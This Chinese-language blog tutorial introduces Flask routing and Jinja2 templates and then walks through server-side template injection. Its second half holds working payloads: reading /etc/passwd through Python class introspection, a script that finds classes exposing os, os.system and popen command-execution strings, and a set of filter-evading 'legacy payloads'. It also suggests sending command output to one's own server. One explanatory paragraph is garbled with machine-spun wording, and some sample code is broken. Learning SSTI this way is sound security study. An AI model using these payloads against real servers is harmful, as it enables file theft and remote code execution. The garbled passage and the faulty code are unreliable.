flask模板从了解到注入

Flask采用Python编程语言来实现的web框架。Flask框架的主要特征是核心构成比较简单,但具有很强的扩展性和兼容性,可以使用Python语言快速实现一个网站或Web服务。一般情况下,它不会指定数据库和模板引擎等对象,用户可以根据需要自己选择各种数据库。Flask自身不会提供表单验证功能,在项目实施过程中可以自由配置,从而为应用程序开发提供数据库抽象层基础组件,支持进行表单数据合法性验证、文件上传处理、用户身份认证和数据库集成等功能。Flask主要包括Werkzeug和Jinja2两个核心函数库,它们分别负责业务处理和安全方面的功能,这些基础函数为web项目开发过程提供了丰富的基础组件。Werkzeug库十分强大,功能比较完善,支持URL路由请求集成,一次可以响应多个用户的访问请求;支持Cookie和会话管理,通过身份缓存数据建立长久连接关系,并提高用户访问速度;支持交互式Javascript调试,提高用户体验;可以处理HTTP基本事务,快速响应客户端推送过来的访问请求。Jinja2库支持自动HTML转移功能,能够很好控制外部黑客的脚本攻击。系统运行速度很快,页面加载过程会将源码进行编译形成python字节码,从而实现模板的高效运行;模板继承机制可以对模板内容进行修改和维护,为不同需求的用户提供相应的模板。目前Python的web框架有很多。除了Flask,还有django、Web2py等等。其中Diango是目前Python的框架中使用度最高的。但是Django如同java的EJB(EnterpriseJavaBeansJavaEE服务器端组件模型)多被用于大型网站的开发,但对于大多数的小型网站的开发,使用SSH(Struts+Spring+Hibernat的一个JavaEE集成框架)就可以满足。

Flask的基本模式为在程序里将一个视图函数分配给一个URL,每当用户访问这个URL时,系统就会执行给该URL分配好的视图函数,获取函数的返回值并将其显示到浏览器上,其工作过程见图。


路由

先看一段代码

from flask import flask

@app.route('/index/')

def hello_word():

   return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

route装饰器:https://www.cnblogs.com/DylanHooz/p/6389138.html

:from-import语句可以在你的模块中导入指定的模块属性,也就是指定名称导入到当前的作用域。

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template()各种用法的讲解https://www.cnblogs.com/h694879357/p/12295883.html

render_template_string()则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'

return render_template_string(html)

模板

flask是使用Jinja2来作为渲染引擎的。看例子

在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

def user_login():

   return render_template('index.html')

/templates/index.html

<h1>This is index page</h1>

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

例子

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

def user_login():

   return render_template('index.html',content='This is index page.')

/templates/index.html

<h1>{{content}}</h1>

这个时候页面仍然输出This is index page。

{{}}在Jinja2中作为变量包裹标识符。

模板注入

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

xss利用

存在漏洞的代码

@app.route('/test/')def test():    code = request.args.get('id') //requst.args获得的是 列表类型    html = '''

       <h3>%s</h3>  //一种字符串格式化的语法, 基本用法是将值插入到%s占位符的字符串中    '''%(code)

   return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。

尝试构造code为一串js代码。


可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

模板注入并不局限于xss,它还可以进行其他攻击。

SSTI文件读取/命令执行

基础知识

ssti服务端模板注入,ssti重要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等运用了衬着函数时,由于代码不范例或信托了用户输入而致使了服务端模板注入,模板衬着实在并没有漏洞,主若是递次员对代码不范例不松散形成了模板注入漏洞,形成模板可控。

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

这里还是用上文中存在漏洞的代码

@app.route('/test/')

def test():

   code = request.args.get('id')

   html = '''

       <h3>%s</h3>

   '''%(code)

   return render_template_string(html)

构造参数{{8*8}},结果如下


可以看到表达式被执行了。

在flask中也有一些全局变量。


文件包含

看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法

__class__返回类型所属的对象__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__base__   返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的__subclasses__每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表__init__  类的初始化方法__globals__  对包含函数全局变量的字典的引用

1、获取字符串的类对象

>>> ''.__class__

<type 'str'>

2、寻找基类

>>> ''.__class__.__mro__

(<type 'str'>, <type 'basestring'>, <type 'object'>)

3、寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]可以看到有一个`<type 'file'>`

4、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

放到模板里


可以看到读取到了文件。

命令执行

继续看命令执行payload的构造,思路和构造文件读取的一样。

寻找包含os模块的脚本

注:os模块中的system()函数用来运行shell命令;但是不会显示在前端,会在系统上自己执行。listdir()函数返回指定目录下的所有文件和目录名。返回当前目录('.')

这样写代表的意思是在{% %}内可以写代码,该代码在页面内生效,可以编译执行,否则无效。

#!/usr/bin/env python

# encoding: utf-8

for item in ''.__class__.__mro__[2].__subclasses__():

   try:

        if 'os' in item.__init__.__globals__:

            print num,item

        num+=1

   except:

       print '-'

       num+=1

输出

-

71 <class 'site._Printer'>

-

-

-

-

76 <class 'site.Quitter'>

payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye)

祖传pyload:

1.{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

2.{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )}}

3.{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}

4.{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

参考文章:

https://www.cnblogs.com/-qing-/p/11656544.html#_label0

https://www.cnblogs.com/-chenxs/p/11971164.html

https://www.cnblogs.com/zaqzzz/p/10263396.html

仅供参考学习

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容